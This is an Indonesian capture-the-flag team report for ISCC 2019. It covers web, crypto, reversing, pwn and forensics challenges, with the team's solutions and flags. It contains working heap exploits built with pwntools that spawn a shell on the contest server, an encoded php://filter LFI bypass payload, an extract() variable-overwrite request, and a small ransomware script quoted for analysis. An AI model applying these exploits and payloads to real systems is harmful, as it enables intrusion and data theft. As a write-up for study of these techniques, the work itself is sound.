[SOAL 1][*Numeric*]

NAMA TIM : [*Rev.ID_CTF*] **Rubah sesuai dengan nama tim anda*

Minggu 07 Juli 2019

Ketua Tim	
i.	Muh. Fani Akbar
Anggota	
i.	Bayu Fedra Abdullah
ii.	Muhammad Alifa Ramdhan

Table of Contents

Capture The Flag Report

1. Executive Summary

Web - Numeric

2. Technical Report

Terdapat source code di file api.php.bak

```php
<?php
include 'my_cbc_flag.php';
#ISCC2019{PLEASE_DONT_SUBMIT_IT_ITS_TROLL_IF_YOU_STILL_SUBMIT_ILL_DELETE_YOUR_ACCOUNT};
if(isset($_POST['tebakan'])){
    $tebak = $_POST['tebakan'];
    $server = random_int($tebak, ($tebak*2));

    if($tebak > $server){
        echo FLAG;
    }elseif($tebak == $server){
        echo "Wah Angka kamu {$tebak} dan Angka Server {$server} karena sama saya beri Potongan flag ".substr(FLAG, 0, 9);
    }else{
        echo "Sorry tebakanmu {$tebak} sementara tebakan Server {$server} Ngoahahaha";
    }


    if(strlen($tebak) == 5 && $tebak == 1020){
        extract($_POST);
            if(strlen($tebek) == 5 && $tebek > 10000000000000 && $server == strlen(FLAG)){
                echo CLUE;
                $a1 = (int) $final;
                $a2 = (string) $final;
                if(isset($a1) and empty($a1) and $a1 == NULL and strlen($a2) != '1'){
                    if(chr(substr($tebak, 0,3)) == 'f'){
                        $not_final = $joke;
                        if(strlen($not_final) == 3 and $not_final == 0){
                            echo FLAG;
                        }
                    }
                }
            }
        }
    }
?>
```

Harus melewati bbrp komparasi agar bisa mendapatkan flag. nilai2 dari variable bisa dioverwrite karena terdapat penggunaan `extract()`

`if(strlen($tebak) 5 && $tebak 1020)` ,
`strlen($tebek) 5 && $tebek` , dan `strlen($not_final) 3 and $not_final 0` bisa dilewati dengan teknik eksponensial bawaan php. `if(isset($a1)` bisa menggunakan MAX_INT sehingga mengakibatkan integer overflow.
variable `$server` bisa dilakukan bruteforce untuk mendapatkan panjang flag yang benar.

```
tebakan=102e1
tebek=1e200
a1=18446744073709551616
a2=18446744073709551616
joke=0e0
server=N
```

Script yang digunakan

```
#!/bin/bash
for i in $(seq 0 100); do
    echo "Flag Len : ${i}\n"
    curl 'http://203.201.167.78:1234/api.php' --data "tebakan=102e1&tebek=1e200&a1=18446744073709551616&a2=18446744073709551616&joke=0e0&server=${i}";
done
```

3. Conclusion

Flag : ISCC2019{Anyway_Beware_OF_==_in_PHP_They_are_Like_KpopWomen_Cute_But_Tricky}

[SOAL 2][*Easy isn't?*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Web - Easy isn't?

2. Technical Report

Diberikan soal web http://203.201.167.78:1123/

```
<?php
require_once('flag.php');
class Meliodas{


    public function setlang(){
        $lang = $this->Brolang();
        $san = $this->anti_hack($lang);
        include($san);
        echo "<br><br> You'r using {$san} language";
    }


    public function Brolang(){
        $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'korea';
        return $lang;
    }

    public function anti_hack($input){
        $ret = str_replace(array("..", "filter", "php", "../", "base","encode","64","resource",":://", "flag"), "", $input);
        return $ret;
    }

}


highlight_file(__FILE__);
(new Meliodas())->setlang();

You'r using en-US,en;q=0.9 language
```

Celah nya adalah LFI, dimana bbrp string seperti filter akan direplace dengan empty string. tapi ini bisa diakalin dengan menyisipkan string diantara string, misal pphphp, akan menghasilkan php

Dengan menggunakan burpsuite, payload yang digunakan
`pphphp:::///ffilterilter/convert.bbasease6644-eencodencode/rresourceesource=flaflagg.pphphp`

```
GET / HTTP/1.1
Host: 203.201.167.78:1123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: pphphp:::///ffilterilter/convert.bbasease6644-eencodencode/rresourceesource=flaflagg.pphphp
Cookie: PHPSESSID=hafnru3efgvgjl8i5msffhe402
Connection: close
```

3. Conclusion

Flag : ISCC2019{Nanatsu_No_Taizai_Scream_it_Fullllll_Counter!}

[SOAL 3][*Ransomware syalalal*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Crypto - Ransomware syalalal

2. Technical Report

Diberikan source ransomware

```
import os
import sys
import time
import random
import string

if len(sys.argv) < 2:
  print("usage: %s <file to encrypt>" %(os.path.basename(__file__)))
  sys.exit()

rr = 10#random.randint(0,255)
st = "".join(random.choice(string.ascii_uppercase)for _ in range(4))
print(st)

ec = "|syalala|\n"
for c in open(sys.argv[1]).read():
  ec += chr(ord(c)^rr)

print(len(ec))
ww = open(sys.argv[1]+".enc","w+")
ww.write(ec)
ww.close()

os.system('openssl aes-256-cbc -salt -a -e -pass pass:'+st[::-1]+' -in '+sys.argv[1]+'.enc -out '+sys.argv[1]+'.syalala')
# os.system('rm '+sys.argv[1]+'.enc')

print("encrypting file ...")
print("your unique ID: %s" %(st))
print("file encrypted, have a nice day:)")
```

Kami menggenerate wordlist menggunakan crunch `crunch 4 4 ABCDEFGHIJKLMNOPQRSTUVWXYZ -o word`

SCript untuk membrute password yang benar

```
import os
import subprocess

p = open("word","r").read().split("\n")
for w in p:
    print("Password : ", w)
    out = subprocess.Popen('openssl aes-256-cbc -salt -a -d -pass pass:'+w+' -in flag.txt.syalala',stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
    tmp = out.stdout.read()
    if "|syalala" in tmp:
        print("Found Password : ", w)
        for i in range(0xff):
            tmp = "".join([chr(i ^ ord(c)) for c in tmp])
            if "IS" in tmp:
                print tmp
                exit(0)
```

Password yang benar adalah : (‘Found Password : ‘, ‘ABVR’)

3. Conclusion

Flag : ISCC2019{cause_baby_its_you_syalalalalalala}

[SOAL 4][*Crack ME!*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Reverse - Crack Me !

2. Technical Report

Untuk mendapatkan serial yang benar kami menggunakan `z3`

```
from z3 import *

key = [BitVec("num{}".format(i),8) for i in range(16)]
s = Solver()

for i in range(len(key)):
    s.add(key[i] >= 0)
    s.add(key[i] < 10)
    s.add(key[7] != 0)
    s.add(key[0] + key[2] == 6)
    s.add(key[1] * key[3] == 72)
    s.add(key[4] * key[5] / 2 == 8)
    s.add(key[6] / key[7] + 3 == 6)
    s.add(key[8] + key[11] == 7)
    s.add(key[9] * 2 / 4 == 2)
    s.add(key[10] / 4 == 2)
    s.add(key[12] + key[13] == 6)
    s.add(key[14] * 4 / 2 == 8)
    s.add(key[15] - 2 == key[0])
    s.add(key[0] < 2)
    s.add(key[1] % 2 ==1)
    s.add(key[1] + key[2] == 14)
    s.add(key[5] == key[7])
    s.add(key[6] % 2 == 0)
    s.add(key[8] == key[9])
    s.add(key[10] / key[11] == 3)
    s.add(key[12] == key[13])

print s.check()
if s.check() == sat:
    m = s.model()
    hasil = [str(m[i].as_long()) for i in key]
    print "".join(hasil)
# 1958-8262-4493-3343
```

Serial yang benar 1958-8262-4493-3343

3. Conclusion

Flag : ISCC2019{%00g00dLuckRdjAdaBiaViv%00}

[SOAL 5][*ISCC Note*]

Table of Contents
Capture The Flag Report

1. Executive Summary

PWN - ISCC Note

2. Technical Report

Diberikan file ELF dan sebuah file libc yang kita cek memiliki versi 2.23. Di program tersebut kita dapat membuat struktur note yg berisi title dan content masing2 bertipe char*. struktur note akan dialokasikan di heap, dan string title dan contentnya pun akan dialokasikan diheap.

Bugnya terdapat pada saat menghapus note (double free), fitur tersebut tidak memeriksa apakah notenya telah dihapus atau tidak. Karena ini menggunakan libc 2.23 kita dapat menggunakan teknik fastbin dup agar double free tidak terjadi crash.

Setelah itu kita dapat mengoverwrite struktur note, mengubah member title atau content ke alamat atoi.got, meleak alamat libc, dan mengganti atoi dengan system dan mengirim string /bin/sh untuk mendapatkan shell.

Dibawah ini merupakan exploit yg kami gunakan.

```
from pwn import *

libc = ELF("./libc-2.23.so", checksec=False)
p = remote("203.201.167.78", 2019)
atoi = p64(0x602058)

def create_note(t, c):
    p.sendlineafter("> ", '1')
    p.sendlineafter(":", str(len(t) + 1))
    p.sendlineafter(":", t)
    p.sendlineafter(":", str(len(c) + 1))
    p.sendlineafter(":", c)

def print_note(i):
    p.sendlineafter("> ", '3')
    p.sendlineafter(": ", str(i))
    p.recvuntil(":")
    t = p.recvuntil("Content : ", drop=True).strip()
    c = p.recvuntil("[1]", drop=True).strip()
    return (t, c)

def edit_note(i, t, c):
    p.recvuntil(">")
    p.sendline("2")
    p.sendlineafter(": ", str(i))
    p.sendlineafter(": ", t)
    p.sendlineafter(": ", c)

def delete_note(i):
    p.sendlineafter("> ", '4')
    p.sendlineafter(": ", str(i))

for i in range(5):
    create_note("x"*0x50, "x"*10) # Create dummy chunk
delete_note(3)
delete_note(1)
delete_note(3)
create_note("x"*0x8, "x"*0x8)
create_note("x"*0x8, p64(0x602010) + p64(8) +  atoi + p64(8))
atoi = u64(print_note(5)[0].ljust(8, "\x00"))
base = atoi - libc.symbols['atoi']
libc.address = base
system = p64(libc.symbols['system'])
edit_note(5, system, "x/bin/sh")
p.interactive()
```

```
[+] Opening connection to 203.201.167.78 on port 2019: Done
[*] Switching to interactive mode
====== MENU ======
[1] Add note
[2] Edit note
[3] Show note
[4] Delete note
> Index of note: $ ls
flag
medium
$ cat flag
ISCC2019{welcome_to_ISCC2019}$
```

3. Conclusion

Flag: ISCC2019{welcome_to_ISCC2019}

[SOAL 6][*Perpustakaan*]

Table of Contents

Capture The Flag Report

1. Executive Summary

PWN - Perpustakaan

2. Technical Report

Diberikan file ELF bernama hard dan file libc.so. Ketika dijalankan binary tersebut memiliki fitur2 add book, delete book, edit book, dan show all books, fitur2 tersebut akan dijalankan sesuai menu yang kita pilih.

```
====== MENU ======
[1] Add book
[2] Delete book
[3] Edit book
[4] Show all books
[5] Exit
Your choice: 1
Enter book name: asfsad
Enter length of book description: 20
Enter book description: bbbb
Enter book total pages: 100
```

Setelah melakukan analisa dan reverse engineering, program menyimpan data2 yg diinputkan dalam sebuah struktur yg kira2 elemennya seperti ini.

```
struct book {
    char nama_buku[64];
    char* deskripsi;
    int panjang_desc;
    int page;
}
```

struktur book yg dibuat melalui fitur Add book akan dialokasikan di heap, member deskripsi dialokasikan di heap juga sesuai ukuran yg kita inputkan. alamat struktur book yg dibuat akan disimpan di variable array global di bss.

```
void add_book(void)

{
  void *__buf;
  ssize_t sVar1;
  ulong uVar2;
  void *pvVar3;
  int local_24;
  void **local_18;

  __buf = malloc(0x50);
  local_18 = (void **)0x0;
  local_24 = 0;
  do {
    if (0x13 < local_24) {
LAB_00100b19:
      if (local_18 == (void **)0x0) {
        puts("Add book error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      printf("Enter book name: ");
      sVar1 = read(0,__buf,0x40);
      if ((int)sVar1 < 0) {
        puts("Read error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      *(undefined *)((long)__buf + (long)(int)sVar1) = 0;
      printf("Enter length of book description: ");
      uVar2 = readint();
      if (0x400 < (uint)uVar2) {
        puts("Add book error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      *(uint *)((long)__buf + 0x48) = (uint)uVar2;
      printf("Enter book description: ");
      pvVar3 = malloc(uVar2 & 0xffffffff);
      *(void **)((long)__buf + 0x40) = pvVar3;
      if (*(long *)((long)__buf + 0x40) == 0) {
        puts("Add book error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      readline(*(void **)((long)__buf + 0x40),*(int *)((long)__buf + 0x48));
      printf("Enter book total pages: ");
      uVar2 = readint();
      *(undefined4 *)((long)__buf + 0x4c) = (int)uVar2;
      *local_18 = __buf;
      return;
    }
    if (*(long *)(books + (long)local_24 * 8) == 0) {
      local_18 = (void **)(books + (long)local_24 * 8);
      goto LAB_00100b19;
    }
    local_24 = local_24 + 1;
  } while( true );
}
```

Setelah dianalisa, bug kami temukan pada fitur edit book yakni bug single null byte overflow. bug tersebut akan 1 byte mengoverwrite pada lokasi memory setelah nama_buku yakni deskripsi.

```
    printf("Enter book name: ");
    sVar2 = read(0,__buf,0x40);
```

```
    if ((int)sVar2 < 0) {
      puts("Read error");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    *(undefined *)((long)__buf + (long)(int)sVar2) = 0;
```

Kita dapat mengoverwrite byte pertama pada deskripsi menjadi null dan akan kita atur agar dia menunjuk ke alamat dekat sebelum struktur book dibuat, dan setelah itu ketika proses edit, kita dapat mengontrol struktur book.

Untuk mendapatkan libc leak, kita dapat memenuhkan tcache bin terlebih dahulu sehingga pada free selanjutnya chunk berisi alamat libc. Kita dapat mengganti alamat deskripsi ke lokasi tersebut. Untuk mengetahui lokasinya kita terlebih dahulu melakukan heap leak. Kami meleak alamat heap dengan cara melakukan partial overwrite pada member deskripsi dan mengarahkannya ke lokasi yg memiliki alamat heap.
Di bawah ini merupakan exploit yang kami gunakan.

```
from pwn import *

med = remote("203.201.167.78", 2020)
libc_bin = ELF("./libc-2.27.so", checksec=False)

def go(i):
    med.recvuntil("Your choice:")
    med.sendline(str(i))

def add(n, d, pg, d_n):
    go(1)
    med.recvuntil(":")
    med.sendline(n)
    med.recvuntil(":")
    med.sendline(str(d_n))
    med.recvuntil(":")
    med.sendline(d)
    med.recvuntil(":")
    med.sendline(str(pg))

def delt(i):
    go(2)
    med.recvuntil(":")
    med.sendline(str(i))

def edit(i, n, d, pg):
    go(3)
    med.recvuntil(":")
    med.sendline(str(i))
    med.recvuntil(":")
    med.sendline(n)
    med.recvuntil(":")
    med.sendline(d)
    med.recvuntil(":")
    med.sendline(str(pg))

add("aaaaaaa", "aaaaaaaaa", 100, 88)
add("bbbbbbb", "bbbbbbbbb", 100, 97)
for i in range(10):
    add("aaa", "bbb", 1, 256)
edit(1, "A"*64, "a"*8, 0x60)
edit(1, "A"*8, p64(0)+p64(0)+p64(0) + p64(97) + "A"*64 + p8(0x60), 100)
go(4)
med.recvuntil("Books[1]")
med.recvuntil("Name : "+"A"*64)
heap = u64(med.recvuntil("\n", drop=True).ljust(8, "\x00")) - 0x360
print(hex(heap))
for i in range(2, 12):
    delt(i)
edit(1, "aaaaaaaa", p64(heap+3584)+p64(0x200), 100)
go(4)
med.recvuntil("Books[1]")
med.recvuntil("Description : ")
libc_bin.address = u64(med.recvuntil("\n", drop=True).ljust(8, "\x00"))-4111520
edit(0, "A"*64, "a"*8, 100)
edit(0, "a", p64(libc_bin.symbols['__free_hook']), 100)
add("/bin/sh", p64(libc_bin.symbols['system']), 100, 880)
delt(2)
med.interactive()
```

```
[+] Opening connection to 203.201.167.78 on port 2020: Done
0x55e6026a9000
[*] Switching to interactive mode
 $ ls
flag
hard
$ cat flag
ISCC2019{you_are_so_FANCY}[*] Got EOF while reading in interactive
$
```

3. Conclusion

Flag : ISCC2019{you_are_so_FANCY}

[SOAL 7[*PHP IN ASM*]]

Table of Contents
Capture The Flag Report

1. Executive Summary

Reverse - PHP In ASM

2. Technical Report

Diberkan file bytecode, dan sebuah string. Sesuai deskripsi kami diharuskan mendekrip string tersebut untuk mendapatkan flagnya.
Stringnya berupa base64 yakni : UNbS0o4OTkzcmlpaTAwbWlrPjo8OD08Mz1pb2k4bj9qP2g/Oz5oPWltd
Isi dari file bytecode seperti ini.

```
compiled vars:  !0 = $flag, !1 = $tmp, !2 = $i
line     #* E I O op                            fetch          ext  return  operands
-------------------------------------------------------------------------------------
   6     0  E >   EXT_STMT
         1        ASSIGN                                                   !0, '<Redacted_Flag>'
   7     2        EXT_STMT
         3        INIT_FCALL                                               'gzdeflate'
         4        EXT_FCALL_BEGIN
         5        SEND_VAR                                                 !0
         6        DO_FCALL                                      0  $4
         7        EXT_FCALL_END
         8        ASSIGN                                                   !1, $4
   9     9        EXT_STMT
        10        ASSIGN                                                   !2, 0
        11      > JMP                                                      ->95
  10    12    >   EXT_STMT
        13        MOD                                             ~7       !2, 2
        14        IS_IDENTICAL                                    ~8       ~7, 0
        15      > JMPZ                                                     ~8, ->47
  11    16    >   EXT_STMT
        17        INIT_FCALL                                               'chr'
        18        EXT_FCALL_BEGIN
        19        INIT_FCALL                                               'ord'
        20        EXT_FCALL_BEGIN
        21        FETCH_DIM_R                                     $10      !0, !2
        22        SEND_VAR                                                 $10
        23        DO_FCALL                                      0  $11
        24        EXT_FCALL_END
        25        BW_XOR                                          ~12      $11, 10
        26        SEND_VAL                                                 ~12
        27        DO_FCALL                                      0  $13
        28        EXT_FCALL_END
        29        ASSIGN_DIM                                               !0, !2
        30        OP_DATA                                                  $13
  12    31        EXT_STMT
        32        INIT_FCALL                                               'chr'
        33        EXT_FCALL_BEGIN
        34        INIT_FCALL                                               'ord'
        35        EXT_FCALL_BEGIN
        36        FETCH_DIM_R                                     $15      !0, !2
        37        SEND_VAR                                                 $15
        38        DO_FCALL                                      0  $16
        39        EXT_FCALL_END
        40        BW_XOR                                          ~17      $16, 2
        41        SEND_VAL                                                 ~17
        42        DO_FCALL                                      0  $18
        43        EXT_FCALL_END
        44        ASSIGN_DIM                                               !0, !2
        45        OP_DATA                                                  $18
        46      > JMP                                                      ->77
  14    47    >   EXT_STMT
        48        INIT_FCALL                                               'chr'
        49        EXT_FCALL_BEGIN
        50        INIT_FCALL                                               'ord'
        51        EXT_FCALL_BEGIN
        52        FETCH_DIM_R                                     $20      !0, !2
        53        SEND_VAR                                                 $20
        54        DO_FCALL                                      0  $21
        55        EXT_FCALL_END
        56        BW_XOR                                          ~22      $21, 11
        57        SEND_VAL                                                 ~22
        58        DO_FCALL                                      0  $23
        59        EXT_FCALL_END
        60        ASSIGN_DIM                                               !0, !2
        61        OP_DATA                                                  $23
```

```
  15    62        EXT_STMT
        63        INIT_FCALL                                      'chr'
        64        EXT_FCALL_BEGIN
        65        INIT_FCALL                                      'ord'
        66        EXT_FCALL_BEGIN
        67        FETCH_DIM_R                           $25       !0, !2
        68        SEND_VAR                                        $25
        69        DO_FCALL                              0  $26
        70        EXT_FCALL_END
        71        BW_XOR                                ~27       $26, 3
        72        SEND_VAL                                        ~27
        73        DO_FCALL                              0  $28
        74        EXT_FCALL_END
        75        ASSIGN_DIM                                      !0, !2
        76        OP_DATA                                         $28
  17    77      > EXT_STMT
        78        INIT_FCALL                                      'chr'
        79        EXT_FCALL_BEGIN
        80        INIT_FCALL                                      'ord'
        81        EXT_FCALL_BEGIN
        82        FETCH_DIM_R                           $30       !0, !2
        83        SEND_VAR                                        $30
        84        DO_FCALL                              0  $31
        85        EXT_FCALL_END
        86        SL                                    ~32       $31, 22
        87        MOD                                   ~33       ~32, 255
        88        SEND_VAL                                        ~33
        89        DO_FCALL                              0  $34
        90        EXT_FCALL_END
        91        ASSIGN_DIM                                      !0, !2
        92        OP_DATA                                         $34
   9    93        POST_INC                              ~35       !2
        94        FREE                                            ~35
        95      > STRLEN                                ~36       !0
        96        IS_SMALLER                            ~37       !2, ~36
        97        EXT_STMT
        98      > JMPNZ                                           ~37, ->12
  22    99      > EXT_STMT
       100        INIT_FCALL                                      'base64_encode'
       101        EXT_FCALL_BEGIN
       102        SEND_VAR                                        !0
       103        DO_FCALL                              0  $38
       104        EXT_FCALL_END
       105        CONCAT                                ~39       $38, '%0A'
       106        ECHO                                            ~39
  25   107      > RETURN                                          1
```

Kode2 diatas merupakan instruksi2 dari php bytecode yang telah dicompile. Kami melakukan analisa dan decompile secara manual menjadi kode yg lebih mudah dibaca, hasilnya seperti ini.

```
!0 = flag
!2 = 0
do {
    if(!2 % 2 != 0 {
        $10 = !0[!2]
        $11 = ord($10)
        $13 = chr($11 ^ 10)
        !0[!2] = $13
        $15 = !0[!2]
        $16 = ord($15)
        $18 = chr($16 ^ 2)
        !0[!2] = $18
    } else {
        $20 = !0[!2]
        $21 = ord($20)
        $23 = chr($21 ^ 11)
        !0[!2] = $23
        $25 = !0[!2]
        $26 = ord($25)
        $28 = chr($26 ^ 3)
        !0[!2] = $28
    }
    $30 = !0[!2]
    $31 = ord($30)
    $34 = chr(($31 << 22) % 255)
    !0[!2] = $34
    !2++
} while (!2 < strlen(!0))
echo(base64encode(!0))
```

Kode diatas digunakan untuk mengenkripsi flagnya. Dibawah ini merupakan script solver untuk mendekripsi flagnya sesuai algoritma enkripsi pada kode diatas.

```
from base64 import *
from z3 import *
b = b64decode("UNbS0o4OTkzcmlpaTAwbWlrPjo8OD08Mz1pb2k4bj9qP2g/Oz5oPWltd")
flag = [BitVec("flag{}".format(i), 32) for i in range(42)]
s = Solver()
for i in range(len(b)):
    if i % 2 == 0:
            s.add(((flag[i] ^ 10 ^ 2) << 22) % 255 == ord(b[i]))
    else:
            s.add(((flag[i] ^ 11 ^ 3) << 22) % 255 == ord(b[i]))
    s.add(flag[i] > 0, flag[i] < 255)
```

```
s.check()
m = s.model()
hasil = ""
for f in flag:
    hasil += chr(m[f].as_long())
print("Flag: {}".format(hasil))
```

3. Conclusion

Flag: ISCC2019{baa98daa72604587aec1d6c6c437b4ae}

[SOAL 8][*Tap Tap Tap*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Web - Tap Tap Tap

2. Technical Report

- Diberikan url http://203.201.167.78:10001/ yang hanya terdapat submit button, cek response headers terdapat `Get-flag: T3c0elBrNmZTdTFtN0UwUA==` yang isinya merupakan enkripsi base64 dan jika di decode hasilnya **Ow4zPk6fSu1m7E0P** dan random setiap di refresh
- Kami berasumsi jika harus *mendecrypt* isi Get-flag lalu mensubmit nya secara cepat, lalu kami buat auto nya menggunakan Python :

```
import requests

s   = requests.session()
req = s.get("http://203.201.167.78:10001/")
dec = req.headers['Get-flag'].decode("base64")
print s.post("http://203.201.167.78:10001/", data={'IndoSecurity' : dec}).text
```

3. Conclusion

Flag : ISCC2019{d55198561eac5c7a8c5bf202a8ebe29f}

[SOAL 9][*Browsing-Browsing*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Web - Browsing-Browsing

2. Technical Report

- Diberikan url http://203.201.167.78:9999/ yang isinya *"You must [Use-INDOSECURITY2019-For-U]"* yang berarti kita di haruskan menggunakan User-Agent **Use-INDOSECURITY2019-For-U**
- Requests menggunakan cURL :

```
curl -A Use-INDOSECURITY2019-For-U http://203.201.167.78:9999/
```

- mendapatkan response *"only for local client"* , yang artinya hanya local source yang boleh mengakses, dan bisa di akali menggunakan `X-Forwarded-For` , coba requests lagi :

```
curl -A Use-INDOSECURITY2019-For-U -H "X-Forwarded-For: 127.0.0.1" http://203.201.167.78:9999/
```

- mendapatkan response *"Only port 6666"* yang berarti local port kita yang di gunakan untuk connect ke server harus port 6666, requests dengan :

```
curl -A Use-INDOSECURITY2019-For-U -H "X-Forwarded-For: 127.0.0.1" --local-port 6666 http://203.201.167.78:9999/
```

3. Conclusion

Flag: ISCC2019{Saya-Pastikan-Pasti!!!}

[SOAL 10][*Recovery Me*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Forensic - Recovery Me

2. Technical Report

- Diberikan file recovery.7z, extract file akan terdapat recovery.001, extract lagi akan mendapatkan file flag.apk
- extract file.apk menggunakan unzip / apk extractor lain akan terdapat beberapa file dan folder, flag bisa di dapatkan dengan menjalankan command di dalam folder hasil extract flag.apk :

```
find . -type f -exec strings {} \; | grep flag
```

akan terdapat hasil `flag={aplikasi_pertama_saya}`

3. Conclusion

Flag : ISCC2019{aplikasi_pertama_saya}

[SOAL 11][*file signature*]

Table of Contents
Capture The Flag Report

1. Executive Summary

Forensic - file signature

2. Technical Report

- Di berikan file *"file-signature.7z"*, extract kemudian akan mendapatkan *"file signature.7z"* yang rusak, perbaiki dengan mengubah signature file nya menggunakan hexeditor menjadi **37 7A BC AF 27 1C**
- Extract lagi kemudian akan mendapat *"file signature.zip"* yang rusak, perbaiki dengan mengubah signature file nya menggunakan hexeditor menjadi **50 4B 03 04**
- Extract lagi kemudian akan mendapat *"file signature.rar"* yang rusak, perbaiki dengan mengubah signature file nya menggunakan hexeditor menjadi **52 61 72 21 1A 07 00**
- Extract lagi maka akan mendapatkan folder yang berisi banyak File yang masing-masing file menyimpang potongan flag
- File ubah 2 byte awal header signature file bmp.bmp, akan mendapatkan potongan flag : **flag8{c3m3n}**
- Ubah byte ke 2 pada header signature *flag.docx* dari **31** menjadi **34** dan ubah formatnya menjadi .pbm lalu buka menggunakan Photoshop akan mendapatkan potongan flag : **flag10{g00d}**
- Ubah format file **flag.exe** menjadi **flag.pbm** lalu buka, akan mendapatkan potongan flag : **flag2{c3nt3r}**
- Ubah format file **Flag.jpg** menjadi **flag.pdf** lalu buka, akan mendapatkan potongan flag : **Flag5={k0m1k}**
- Ubah format file **flag.mp4** menjadi **flag.png** lalu buka, akan mendapatkan potongan flag : **flag3{br0ws3}**
- Ubah format **flag.pdf** menjadi **flag.jpg** lalu buka, akan mendapatkan potongan flag : **flag1{log2222}**
- Perbaiki header signature file **flag.png** menjadi **89504E470D0A1A0A** lalu buka, maka akan mendapatkan potongan flag **flag6{h4t1}**
- Perbaiki header signature file **jpg.jpg** menjadi **FFD8FFE000104A4649460001** lalu buka, maka akan mendapatkan potongan flag **flag7{34sy}**
- jalankan command `strings jpgg.jpg | grep flag` maka akan mendapatkan potongan flag : **flag9={78}**
- Untuk potongan flag terakhir kami kesusahan dan lama mencarinya, karena file terakhir yang tersisa adalah flag.html yang sebenarnya adalah video mp4 file, yang jika di tonton berisi video girlband k-pop koreyah yang kalau tidak salah namanya blackpink, karena tidak suka k-pop kami pun malas untuk menontonnya dan kami skip melihat video nya dan fokus ke metadata untuk mencari flag, setelah lebih dari sejam mencari kami pun menyerah dan berinisiatif melihat videonya walaupun terpaksa karena kami nggak suka blackpink, betapa kagetnya kami di tengah-tengah video bukan karena celana girlband nya yang melorot tapi karena apa yang kami cari selama sejam ternyata di munculkan di tengah-tengah video, terdapat potongan flag:

flag4{k3m4ng} di tengah video, doktrin dan pemaksaan macam apa ini >:(

- akhirnya semua Dragonball pun terkumpul dan tinggal di satukan

```
from re import findall

flag = sorted("""flag8{c3m3n}
flag10{g00d}
flag2{c3nt3r}
flag5{k0m1k}
flag3{br0ws3}
flag1{log2222}
flag6{h4t1}
flag7{34sy}
flag9{78}
flag4{k3m4ng}""".split("\n"))

print "ISCC2019{%s%s}" %("_".join(findall("{(.*?)}", i)[0] for i in flag[1:]), "_" + findall("{(.*?)}", flag[0])[0])
```

3. Conclusion

Flag : ISCC2019{log2222_c3nt3r_br0ws3_k3m4ng_k0m1k_h4t1_34sy_c3m3n_78_g00d}